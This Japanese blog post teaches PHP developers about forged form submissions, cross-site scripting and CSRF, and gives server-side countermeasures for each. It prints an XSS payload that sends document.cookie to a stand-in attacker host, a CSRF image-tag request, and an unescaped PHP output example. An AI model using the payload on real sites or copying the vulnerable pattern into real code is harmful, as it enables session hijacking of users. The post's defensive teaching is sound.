@blog.justoneplanet.info

■なりすまし

以下のようなフォームがある場合を考える。

<form method="post" action="register.php">
Name: <input type="text" name="name" maxlength="10" />
Password: <input type="password" name="password" maxlength="10" />
Gender:
<select name="gender">
<option>male</option>
<option>female</option>
</select>
<input type="submit" />
</form>

攻撃者はこのフォームを利用して攻撃するとは限らない。従って、以下のようなHTML上の制限は攻撃者に対しては何の防御策にもならない。

• maxlengthによる文字数の制限
• selectボックスの選択肢による制限

上述は例にすぎない。つまり攻撃者は、「任意のフォーム要素」に「任意の値」を制限無く常に送信することができる。従って、register.phpはそのような前提を踏まえてプログラミングしなければならない。攻撃用フォームは全く別のURLに設置しregister.phpにデータを送信するだけで作れてしまうのだ。

対策

• サーバ側でフィルタリングを徹底的に行う

リファラーをチェックしたり、ワンタイムトークンを使ったりすれば攻撃の敷居はわずかに高くなるが、決定的な対策とはいえない。

■クロスサイトスクリプティング

もっとも有名な攻撃手法の一つでありXSSと略して呼ばれる。以下のようなフォームの場合を考える。

<form method="post" action="register.php">
Name: <input type="text" name="name" />
<input type="submit" />
</form>

上述のデータを以下のプログラムで受け取る。

<p>入力したお名前はコチラです。</p>
<?php
print($_POST['name']);
?>

一見すると、ユーザの入力を表示しているだけに思えるが、「名前」に以下の文字列が入力された場合に脆弱性が露呈する。

<script type="text/javascript">
document.location = 'http://attacker.org/exploit.php?data=' + document.cookie;
</script>

上述のコードを入力されると、結果的にクッキーを攻撃者のサイトに送信されてしまう。もしも、このアプリケーションが不特定多数の人に任意のユーザの入力を表示する掲示板のようなシステムの場合、全てのユーザのクッキーが攻撃者のサイトに送信される。

対策

以下のようにユーザ入力をHTML表示させる場合は、適切にサニタイジングを行う。

<p>入力したお名前はコチラです。</p>
<?php
print(htmlentities($_POST['name'], ENT_QUOTES, 'utf-8'));
?>

但し、htmtentities関数の第二引数はデフォルトでENT_COMPATになっており、シングルクォートがエスケイプされないので、ENT_QUOTESと必ず記述する。（属性値への挿入に耐性をもたせる）

■クロスサイトリクエストフォージェリーズ

簡単に説明すると以下のような脆弱性である。

1. Aさんがショッピングサイトにログインし買い物をする
2. Aさんがログアウトせずに、そのままネットサーフィンをする
3. Aさんが攻撃者の仕掛けたリンクを偶然クリックする（もしくはimageタグのsrc属性などで強制的にリクエストさせられる）

以下のように、リンクにはショッピングサイトの（5000万円の）家の支払い画面のURLが記述されている

<img src="http://amazon.com/goods.php?goods=house&price=50000000&order=ok" />

1. Aさんの意志に関係なく、5000万円の支払い契約が成立する
2. Aさんは破産する

一意のURLに紐付けられているアプリケーション側の処理が利用者の意図していない場面で行われてしまうということになる。

対策

<?php
session_start();
session_regenerate_id(true);
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?>
<form method="post" action="register.php">
<input type="hidden" name="token" value="<?php print($token); ?>">
</form>